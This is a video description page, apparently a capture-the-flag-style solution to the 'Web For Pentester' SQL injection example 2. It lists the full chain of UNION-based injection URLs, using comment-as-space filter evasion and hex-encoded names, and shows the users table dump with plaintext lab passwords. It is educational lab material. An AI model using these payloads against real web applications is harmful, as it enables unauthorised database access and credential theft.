Web For Pentester Example 2 SQL Injection Solution

Published: 02 September 2018
on channel: Shahzad Haxor
1,538
17

Web For Pentester Example 2 SQL Injection Solution.
SQL Injection (SQLi) is one of the many web attack mechanisms used by hackers to steal data. It is perhaps one of the most common application layer attacks.
Fixed Query :
http://192.168.174.132/sqli/example2.php?name=root'/**/and/**/1=1/**/%23

Find column :
http://192.168.174.132/sqli/example2.php?name=root'/**/ORDER/**/BY/**/5%23

THERE ARE 5 COLUMN Let's Find Vulnerable columns.
1,2,3 is vulnerable.

let's check database Name :
http://192.168.174.132/sqli/example2.php?name=root'/**/UNION/**/ALL/**/SELECT/**/(SELECT/**/GROUP_CONCAT(schema_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.SCHEMATA),2,3,4,5%23

Database Name : exercises

Let's Find tables :
http://192.168.174.132/sqli/example2.php?name=root'/**/UNION/**/ALL/**/SELECT/**/(SELECT/**/GROUP_CONCAT(table_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABLE_SCHEMA=0x657865726369736573),2,3,4,5%23

Table Name : users

Let's Find columns :
http://192.168.174.132/sqli/example2.php?name=root'/**/UNION/**/ALL/**/SELECT/**/(SELECT/**/GROUP_CONCAT(column_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME=0x7573657273),2,3,4,5%23

Column Names :
id
name
age
groupid
passwd

Let's Extract Data :
http://192.168.174.132/sqli/example2.php?name=root'/**/UNION/**/ALL/**/SELECT/**/(SELECT/**/GROUP_CONCAT(id,"(--Name--)",name,"(--Age--)",age,"(--GID--)",groupid,"(--Password--)",passwd/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/exercises.users),2,3,4,5%23

Data :
1(--Name--)admin(--Age--)10(--GID--)10(--Password--)admin
2(--Name--)root(--Age--)30(--GID--)0(--Password--)admin21
3(--Name--)user1(--Age--)5(--GID--)2(--Password--)secret
5(--Name--)user2(--Age--)2(--GID--)5(--Password--)azerty

so that's all for this video if you like this video hit the like button.
if you have any question you can comment bellow . thanks for watching and i will see you in next video. till the bye...........


IF YOU LIKE THIS VIDEO. PLEASE DON'T FORGET TO LIKE SHARE AND SUBSCRIBE OUR CHANNEL.

THANKS FOR WATCHING.


On this page of the site you can watch the video online Web For Pentester Example 2 SQL Injection Solution with a duration of hours minute second in good quality, which was uploaded by the user Shahzad Haxor 02 September 2018, share the link with friends and acquaintances, this video has already been watched 1,538 times on youtube and it was liked by 17 viewers. Enjoy your viewing!